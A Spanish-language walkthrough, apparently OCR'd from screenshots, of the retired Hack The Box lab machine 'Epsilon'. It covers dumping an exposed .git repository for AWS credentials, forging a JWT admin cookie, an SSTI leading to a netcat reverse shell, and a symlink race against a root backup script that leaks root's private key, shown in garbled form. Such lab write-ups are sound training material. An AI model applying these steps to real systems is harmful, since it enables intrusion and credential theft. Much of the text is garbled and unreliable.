07 Feb 2022 Medium Retired

1. Enumeracion.
Realizamos un PING a la maquina victima para comprobando su TTL. A partir del valor devuelto,
nos podemos hacer una idea del sistema operativo que tiene. En este caso podemos deducir
que se trata de una maquina Linux.

/home/kali/HTB/epsilon
1 1 10.10.11.134
PING 18.18.11.134 (1@.1
64 bytes from 10.10.11.13

ime @ms

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes servicios y
versiones asociados. Vemos que nos reconoce un repositorio Git.

1tu 4ubuntu@.4 (Ubuntu Linux; protocol 2.0)

; edit this file

:/o:linux:linux_kernel

se report any incorrect results at https: ap.org/submit/

Comprobamos el LaunchPad de la version del SSH y vemos que estamos ante una version Focal
de Ubuntu.
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Ubuntu

openssh package
™ code  Bugs  Blueprints  Translations  Answers
openssh 1:8.2p1-4ubuntu0.4 source package in Ubuntu

Changelog

openssh (1:8.2p1-4ubuntud.4) focal; urgency=medium
= dfp/match-host-certs-w-public-keys.patch: Add patch
to match host certificates agianst host public keys.

(LP: #1952421)

- Chloé S <email address hidden> Thu, 82 Dec 2821 22:38:52 +8820

Upload details

Uploaded by: Sponsored by:

& Chloé Smith on 2021-12-08 & utkarsh Gupta
Uploaded to: Original maintainer:
Focal £ Ubuntu Developers
Arehitectures: Section:

anyall net

Urgency:

Medium Urgency

Revisamos las tecnologias que usa el servicio web que corre por el puerto 80.

/home/kali/HTB/epsilon
//10.10.11.134
[403 Forbidden] Apache[2.4.41], Country[RESERVEDI[ '], HTTPServer[ 1, IP[10.10.11.134], Title[403 Forbidden]

+ HTALS, HTTPS 1 PasswordField! . elCos 1, Werkzeug(2

2. Analisis de vulnerabilidades

Nmap nos ha detectado un directorio .git. Si intentamos clonarnos el proyecto tal cual, nos da
error.

/home/kali/HTB/epsilon
clone http://10.10.11.134
onando en "1@0.1@.11.1
fatal: repositori no encontrado

/home/kali/.ZAP

ERROR
ERROR r t Found:

ERROR = ¢ 404 t Found:
INFO

Vemos que nos genera los ficheros server.py y track_api_CR_148.py. Vamos a revisar su
contenido.
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Server.py parece la web que esta corriendo por el puerto 5000. Leyendo el cédigo fuente
parece que se establece una cookie en json, a partir de las credenciales admin/admin. No
tenemos la “secret key” para poder generarlo, por lo que pasamos a revisar el
track_api_CR_148.py.

GNU nano 6.4

(token,key):

username=jwt.decode(token,key,algorithms=[ "HS256"',])[ 'username’]
username:

@app.route("/", methods=["GET","POST"])
():

request.method="POST":
request.form[ 'username’' ]J="admin" request.form['password’' ]J="admin":
res = make_response()
username=request.form['usern 7|
token=jwt.encode({" rname” : "admin”},secret,algorithm="HS
res.set_cookie("auth
res.headers['location’']="/home'
res, 302

render_template('index.html')

render_template( "index.html")

Revisando el fichero track_api_CR_148.py, vemos que hablan de AWS lambda.

GNU nano 6.4 track_api_CR_148.py
io
0s
zipfile ZipFile
boto3.session Session

session = Session(

region_na
endpoint_url="http:
aws_lambda = session.client('l

(path):
root, dirs, files os.walk(path):
f files:
full_path = os.path.join(root, f)

archive_name = full_path[len(path) + len(os.sep):]
full_path, archive_name

(path):
buf = io.BytesIO()
ZipFile(buf, 'w') Zz
full_path, archive_name files_to_zip(path=path):
z.write(full_path, archive_name)
buf.getvalue()

(lambda_name, lambda_code_path):
os.path.isdir(lambda_code_path)
ValueError( 'Lar lirectory does not exist: {0}'.format(lambda_code_path))
aws_lambda.update_function_code(
FunctionName=1lambda_name,
ZipFile=make_zip_file_bytes(path=1lambda_code_path))

Revisamos de que se trata.

¢ Qué es una funcién Lambda en AWS? ~

AWS Lambda permite agregar logica personalizada a los recursos de AWS, como los
buckets de Amazon S3 y las tablas de Amazon DynamoDB, lo que permite aplicar
facilmente la informatica a los datos a medida que entran o transitan por la nube. Es facil
comenzar a utilizar AWS Lambda_ Primero debe crear la funcién.
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Ahora que sabemos de que se trata, aun seguimos necesitando las credenciales para poder
conectarnos. Intentamos revisar el historial de commit.

/home/../HTB/epsilon/site/10.10.11.134

t log

commit 522 16 7 , master

Author: root <root@epsilon.htb>
Date: Wed Nov 17 17:41:07 2021 +0000

Fixed Typo

Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:02:59 2021 +0000

Adding Costume Site

1 1  Fd25e9fbas27251

Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:58 2021 +0000

Updatig Tracking API

Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:28 2021 +0000

Adding Tracking API Module

Revisamos el commit 7cf92a7a09e523¢1c667d13847c9ba22464412f3 y obtenemos las
credenciales.

/home/../HTB/epsilon/site/10.10.11.134
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Lo primero, es afiadir en nuestro fichero hosts, las entradas epsilon.htb y cloud.epsilon.htb.

Archivo Acciones Editar Vista Ayuda

GNU nano 6.4 /etc/hosts
localhost

127.0.1.1 kali

10.10.11.134 epsilon.htb cloud.epsilon.htb

Instalamos el cliente Linux de AWS:
https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html

Realizamos la conexion.

/home/.../epsilon/site/10.10.11.134/aws
configure

Revisamos que funciones tenemos disponibles.

/home/../epsilon/site/10.10.11.134/aws
http://cloud.epsilon.htb lambda list-functions

"Functions™: [
{

"FunctionName": "costume_shop_v1",
"FunctionArn”: "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime”: "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev”,
"Handler": "my-function.handler”,
"CodeSize": 478,
"Description”: "",
"Timeout": 3,

"LastModified": "2022-11-21T17:16:36.552+0000",

"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSNERX7pq@IIVHS5eHBBXEeSw=",
"Version": "$LATEST",

"VpcConfig": {},

"TracingConfig": {

"Mode": "PassThrough"
|
"RevisionId": "55a7al5e-9b63-45b0-a2db-d877459bd892",
"State”": "Active”,
"LastUpdateStatus”": "Successful”,
"PackageType": "Zip"
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Vamos a obtener la url para posteriormente poder descargarnos el cédigo de la funcién.

/home/../epsilon/site/10.10.11.134/aws
t http://cloud.epsilon.htb lambda get-function

: {

/home/../epsilon/site/10.10.11.134/aws

Descomprimimos el fichero descargado y revisamos el fichero lambda_function.py.
Obtenemos el secret. éSerd valido para generar el json web token?
File: lambda_function.py
json

secret

t, context):

id=event[ 'queryStrin rameters'][ 'order_id']
id:

ode’: 2 ’

: json.dumps(str(resp))

Order I
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Buscamos como generar un jwt desde Python: https://pyjwt.readthedocs.io/en/stable/

>»> import jwt

»»» encoded_jwt = jwt.encode({"some": “"payload”}, “"secret”, algorithm="H5256")

»»» print(encoded_jwt)
eylhbGci0ilIUzIINIIsINRScCIAIkpXVCI9. eylzb211IjoicGFEbGORZICTT. AtwFEtENIiznNE4AWDo0LdTKOLT_yvoc@ZeX0pOh

© f 4 ao g *oa I Cv e fiL . FmimArsmah

Archivo Acciones Editar Vista Ayuda

eyJ0eXAiOiJKV1QiLCIhbGciOiJlUzI1NiJ9.ey)1c2VybmFtZSI6ImFkbWIuln0.8JUBz8oy5DlaoSmrOff
Lb_hrdSHIOILMGz-Ece7VNtg

Creamos una cookie en nuestro navegador, llamada auth con el valor anteriormente generado.

101011134

Navegamos hacia la web “home” y conseguimos el acceso.

& 101011134

N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

order Track Contact welcome Admin

‘.|.,

welcome to Costume Shop!

Here you can customize the authentic hoodies and tshirts that You wanted to buy
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3. Explotacion y acceso.
En la web “Order” vamos que se acontece un SSTI.

O & 1010M.134

cs N Kali Forums ¥ Kali NetHunter Exploit-DB Google Hacking DB o)

order Track Contact welcorme. Admin
- .' @,
Select your costume and place an order
wewve fimifed stock rﬂhf now!
Select a Costume: ‘ Kinetic Kitten Mask v ‘
Enfer Quantity

3333
Enter Address

e

Send

Request Response

InFkbwluIne

'Indie FL
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Nos ponemos en escucha con NC y ejecutamos un cddigo malicioso para obtener una reverse
shell.

Request Response

‘Indie Flower'. cursive;"

/home/kali

listening « y .

connect 2 .62] from (UNKNOWN) [1@
bash: et minal process (
bash: no job trol in this shell

4. Escalada de privilegios.

Revisamos los procesos en ejecucion con pspy y nos llama la atencion la ejecucion del fichero
Jusr/bin/backup.sh.

Miramos su contenido. Vemos que durante el proceso de compresidn con tar, se usa la opcion
-h. Eso hace que se siga los enlaces.

p$ cat fusr/bin/backup.sh

ackups/checksum

}.tar" /opt/backups/checksum "/opt/backups/$file.tar”

Podemos aprovecharnos de esta opcion para descubrir ficheros con acceso privilegiado.
Vamos a programar un script que borre el fichero checksum, y cree un enlace simbélico. De tal
forma que, cuando se realice la copia de seguridad que realiza /usr/bin/backup.sh, el fichero
checksum tendrd la id_rsa de root.
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#! /bin/bash

while true; do

" 1; then

ps/checksum”

Ejecutamos nuestro script. Copiamos la ultima copia de seguridad al directorio tmp,
descomprimimos y revisamos los ficheros, concretamente el fichero llamado checksum.

Tammﬂp311or'ftmp$ cp /var/backups/web_backups/485705496,
! cups/web_backups/485785496. tar

:/tmps |

tom@epsilon: / fapp$ cat /tmp/opt/backups/checksum
cat /tmp/opt ps/checksum
PFI?ATE HET

b3BlbnNzaClr?Z; j AAAAEDMOIuZOAAAAAAAAABA,
NhAAAAAWEAAQ YEAL 4UNq1 PHLLT BHuQ!
16L/79L3nSFwAXdmUtT 8pi

JOudju+v

L1WWPIELP

uldDPZ
wB10a
oCIJe 8 J._mAhNH]wT
EAAAuEAN:Nu1quR]F” 2 f
cA LLa rk wt 'CPK nl:5u1mnpﬁ9
rly leN5TE *FEhppuDTo111n+HaT+E 5ijk1P1w.b9:N rDHmCFxEgfJdcFj/RI
JENDVpSTFi3 F udenlpqETn11ﬁuEuDdNT*hhMUIﬁTH
ZOEmds4Rv
adHPiRuanHRUJ]h,
114DrPUD11~Em:1thPN9111n1H
LPBHpEIT

Huy jOm9
d'.IF.ﬂLqLE’q

wHPJO

B4vgf3 ;

KmGDLbEOX 2 4 -UQJAAADEAUDQHE]JQ+
F ¢ *+m:Tw.tJARuqu_ EcjK92
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Nos conectamos por ssh con la id_rsa obtenida y ganamos acceso como root.

root@10.10.11.134 -i id_rsa

The authenticity of host

'10.10.11.134 (10.10.11.134)°

can't be established.

ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt@4+A/cdluslAwhmiWgG3ebyZko+A.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.134" (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-97-generic x86_64)

* Documentation:

* Management:
* Support:

https://help.ubuntu.com
https://landscape.canonical.com
https://ubuntu.com/advantage

System information as of Tue 22 Nov 2022 07:09:47 PM UTC

System load:
Usage of /:

Memory usage:

Swap usage:

Processes:

Users logged
IPv4 address
IPv4 address
IPv4 address
IPv6 address

in:
for
for
for
for

br-a2acb156d694:
docker@:

etho:

etho:

0.0

67.8% of 5.78GB
18%

0%

236

0

172.19.0.1
172.17.0.1
10.10.11.134

dead:beef ::250:56ff:feb9:7cae

@ updates can be applied immediately.

The list of available updates is more than a week old.

To check for new updates run: sudo a

Last login: Mon Feb

7 01:51:07 2022

root@epsilon:~# whoami

root

root@epsilon:~# |

pt update
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